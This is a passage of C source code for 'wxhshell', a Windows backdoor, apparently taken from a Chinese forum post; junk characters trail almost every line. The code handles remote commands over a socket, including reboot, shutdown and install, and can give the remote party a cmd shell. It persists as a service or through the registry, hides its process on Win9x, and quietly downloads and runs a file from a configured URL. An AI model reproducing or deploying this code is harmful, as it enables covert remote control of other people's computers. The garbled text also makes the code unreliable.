  case '?': { n5>N9lc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {hR2NUm  
    break; f"^tOgGH  
  } >;W(Jb7e  
  // 安装 6E]rxps}"  
  case 'i': { zAUfd[g  
    if(Install()) ".D +# 2Kl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j~q`xv+R  
    else Mwc3@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {2@96o2}  
    break; jMbK7 1K%  
    } q:.BY}X9  
  // 卸载 LWV`xCr8R  
  case 'r': { -;"l 5oX  
    if(Uninstall()) J[wXG6M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]]3D` F}  
    else -1JHhRr]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u`|fmVI  
    break; \]%U?`A  
    } B4aZ3.&W  
  // 显示 wxhshell 所在路径 3/FB>w gt  
  case 'p': { oD\+ 5[x  
    char svExeFile[MAX_PATH]; @CF4:NNHw  
    strcpy(svExeFile,"\n\r"); hhhO+D1(  
      strcat(svExeFile,ExeFile); nVzo=+Yp  
        send(wsh,svExeFile,strlen(svExeFile),0);  V}qmH2h  
    break; Dm#k-y  
    } a"0~_=  
  // 重启 55p=veq \  
  case 'b': { 90}B*3x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F9W5x=EK\  
    if(Boot(REBOOT)) I r~X#$Upc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n]Y _C^  
    else { }DaYO\:yK*  
    closesocket(wsh); sf0U(XYQ^  
    ExitThread(0); W$S.?[X  
    } |3m%d2V*hF  
    break; uL F55:`<  
    } >k|[U[@  
  // 关机 e_V(G  
  case 'd': { p;Kr664  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qE{S'XyM,  
    if(Boot(SHUTDOWN)) PK" C+o;:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'zK*?= ^jk  
    else { i;Y^}2   
    closesocket(wsh); 7i.aZ2a%  
    ExitThread(0); sSUd;BYf  
    } aDuanGC/V  
    break; B!@0(A  
    } "#jKk6{I0  
  // 获取shell N=9lA0y+  
  case 's': { Cq~Ir*"  
    CmdShell(wsh); 6bba}P  
    closesocket(wsh); kZQ;\QL1}  
    ExitThread(0); UhK,H   
    break; GWKefH  
  } v<1;1m  
  // 退出 NO ^(D+9  
  case 'x': { sa*-B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gj3/&'k6  
    CloseIt(wsh); 'Iu(lpF&  
    break; v*3:8Y,  
    } wn`budH?c8  
  // 离开 O5 SX"A  
  case 'q': { whCv9)x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M_K&x-H0  
    closesocket(wsh); B|v fkX2f  
    WSACleanup(); jLTs1`I/F  
    exit(1); D$HxPfDZ  
    break; EcU9Tm`h  
        } wal }[F#  
  } Sgj6tH2M  
  } }_ E  
]7;;uhn`  
  // 提示信息 ']Z8C)tK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G1rgp>m  
} dkjL;1  
  } Jp- hFD  
}R^{<{KVJ  
  return; {`VQL6(i  
} h.nzkp5  
!?{5ET,gtN  
// shell模块句柄 N *fN&0r  
int CmdShell(SOCKET sock) ?=/l@d  
{ +\4=G@P.J  
STARTUPINFO si; ("Zi,3"+  
ZeroMemory(&si,sizeof(si)); -IE;5f#e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d9s"y?8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _ 0-YsD  
PROCESS_INFORMATION ProcessInfo; tBrVg<]t  
char cmdline[]="cmd"; F~EriO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k.%F!sK  
  return 0; PyYe>a;.  
} @y+Wl*:  
qcqf9g  
// 自身启动模式 2.yzR DfZ  
int StartFromService(void) A!c.P2  
{ ZD3S|1zSQ  
typedef struct EOL03N   
{ Jy9&=Qh   
  DWORD ExitStatus; 3I]5DW %-  
  DWORD PebBaseAddress; vsK>?5{C-  
  DWORD AffinityMask; H X8q+  
  DWORD BasePriority; ZYG"nmNd  
  ULONG UniqueProcessId; "LYob}_z  
  ULONG InheritedFromUniqueProcessId; ~c4Y*]J  
}   PROCESS_BASIC_INFORMATION; Ae1},2py  
"'%x|nB  
PROCNTQSIP NtQueryInformationProcess; xfb%bkr  
||qW'kNWM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?G@%haqn6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;Bm{_$hf=  
[30e>bSf`  
  HANDLE             hProcess; ,Fb#%r%  
  PROCESS_BASIC_INFORMATION pbi; R0Qp*&AL  
q_!3<.sf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !|D,cs  
  if(NULL == hInst ) return 0;  u!(|y9p  
|$Td-M^)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CXa$QSu>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1z)+P1nH]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6(.&y;  
-szvO_UP  
  if (!NtQueryInformationProcess) return 0; =3FXU{"Qi4  
\-^3Pe,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OA+W$  
  if(!hProcess) return 0; d/e9LK  
8_>R'u[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5QlJX  
grZN.zTO  
  CloseHandle(hProcess); yt?# T #  
,W.O*vCA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Mf?4 `LM  
if(hProcess==NULL) return 0; -Jb I7Le  
#p^D([k \  
HMODULE hMod; \o/oM,u  
char procName[255]; PWTAy\  
unsigned long cbNeeded; #N*~Q  
nv|&|6?`oK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $lvpBs  
[=Xvp z  
  CloseHandle(hProcess); NS\'o )J  
, =#'?>Kq  
if(strstr(procName,"services")) return 1; // 以服务启动 Ox58L>:0m  
EM"YjC)F  
  return 0; // 注册表启动 #6JG#!W  
} a}6Wo=  
[K^RC;}nV^  
// 主模块 'INdZ8j_  
int StartWxhshell(LPSTR lpCmdLine) cEe>Lyt  
{ xSw ^v6!2  
  SOCKET wsl; Ax&+UxQ0|  
BOOL val=TRUE; ~#wq sm  
  int port=0; W )\~T:Kn  
  struct sockaddr_in door; (|W@p\Q  
GZse8ng  
  if(wscfg.ws_autoins) Install(); K1Uur>Pk%  
dD=dPi#  
port=atoi(lpCmdLine); q?`bu:yS  
0 ~VniF^  
if(port<=0) port=wscfg.ws_port; zH.7!jeE  
0 j6/H?OT  
  WSADATA data; ^X^4R1V)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zT.qNtU%  
U`xjau+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >XB Lm`a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $cjidBi`):  
  door.sin_family = AF_INET; zI&oZH^vn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Nx~8]h1(  
  door.sin_port = htons(port); YqYCW}$  
Iu=iC.50}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <J\z6+,4E  
closesocket(wsl); pbJs3uIR  
return 1; n<?:!f`   
} <~'\~Zd+  
W@ #Y/L:${  
  if(listen(wsl,2) == INVALID_SOCKET) { $cnIsyKWY  
closesocket(wsl); 60Y&)UR  
return 1; k<m{Wp;-  
} @Kp2l<P  
  Wxhshell(wsl); OXI.>9  
  WSACleanup(); oGa8}Vtc  
8@Pv nOL  
return 0; "+p_{J/P  
2-FL&DE  
} ;:f.a(~c  
;8H m#p7,  
// 以NT服务方式启动 7&E3d P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %6L{Z*(  
{ ,'[0tl}8K  
DWORD   status = 0; >A#]60w.  
  DWORD   specificError = 0xfffffff; Fe}Dnv)}Z  
!M6*A1g5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S-GcH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "d9"Md0k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Jc/*w  
  serviceStatus.dwWin32ExitCode     = 0; Y`w+?}(M  
  serviceStatus.dwServiceSpecificExitCode = 0; _uID3N%  
  serviceStatus.dwCheckPoint       = 0; *zJ}=%)f  
  serviceStatus.dwWaitHint       = 0; qy"#XbBeV  
TN4gGky!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W-2,QVp%  
  if (hServiceStatusHandle==0) return; YhRES]^  
|X0h-kX4  
status = GetLastError(); voEg[Gg4%I  
  if (status!=NO_ERROR) ,,OO2EgZ`  
{ pri=;I(2A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b 'jZ4{+W  
    serviceStatus.dwCheckPoint       = 0; /{6PwlP5  
    serviceStatus.dwWaitHint       = 0; P-.>vi^+  
    serviceStatus.dwWin32ExitCode     = status; 7' ]n_-fu  
    serviceStatus.dwServiceSpecificExitCode = specificError; IOtSAf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '(r/@%=U  
    return; q{ i9VJ]  
  } 1TJ2HO=Y  
N[:;f^bH49  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [2:Q.Zj  
  serviceStatus.dwCheckPoint       = 0; B|zJrz0q3  
  serviceStatus.dwWaitHint       = 0; "8>T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kZfa8w L]P  
} A}W) La\  
!RN(/ &%y  
// 处理NT服务事件,比如:启动、停止 v'mRch)d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B agO0#  
{ a"@k11  
switch(fdwControl) UiO%y  
{ ],V_"\ATD  
case SERVICE_CONTROL_STOP: OrNi<TY>  
  serviceStatus.dwWin32ExitCode = 0; ~bC{ R&p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @m[q0G}  
  serviceStatus.dwCheckPoint   = 0; kaq H.e(  
  serviceStatus.dwWaitHint     = 0; jvv3;lWDL.  
  { `7[z%cuK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `fYICp  
  } -{n2^vvF  
  return; ge %ytrst  
case SERVICE_CONTROL_PAUSE: /}t>o* x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (e.?). e  
  break; &@NTedg!  
case SERVICE_CONTROL_CONTINUE: aNs~Uad1U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K Rs e  
  break; 4>x]v!d  
case SERVICE_CONTROL_INTERROGATE: hH_&42E6  
  break; >$Sc}a3  
}; |*W_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2:3-mWE  
} TrD2:N}dI  
Er509zZ,[  
// 标准应用程序主函数 D+.< kY.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &3~lZa;D  
{ CobMagPhr  
Xf o3fW)s  
// 获取操作系统版本 Q$u&/g3NvL  
OsIsNt=GetOsVer(); n@>h"(@i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5P'o+Vwz  
q% *-4GP  
  // 从命令行安装 >ka*-8?  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~QzUQYG*  
nK[T.?Nz  
  // 下载执行文件 P5-1z&9O  
if(wscfg.ws_downexe) { 0se0AcrW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x \0( l5>  
  WinExec(wscfg.ws_filenam,SW_HIDE); {EU?{ #  
} EC#4"bU`'2  
ML eo3  
if(!OsIsNt) { g2)jd[GM  
// 如果时win9x,隐藏进程并且设置为注册表启动 2w"Xv,*.'i  
HideProc(); |W $epOLg  
StartWxhshell(lpCmdLine); k%2woHSu&  
} l}w9c`f  
else RgTm^?Ex  
  if(StartFromService()) !A_<(M<  
  // 以服务方式启动 Q5Yy \M  
  StartServiceCtrlDispatcher(DispatchTable); !'m MGxkEb  
else SUGB)vEa  
  // 普通方式启动 kHMD5Q  
  StartWxhshell(lpCmdLine); N!me:|Dn  
wwmHr!b:6  
return 0; uT1xvXfqP  
}
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只看该作者 1 发表于: 2006-10-10
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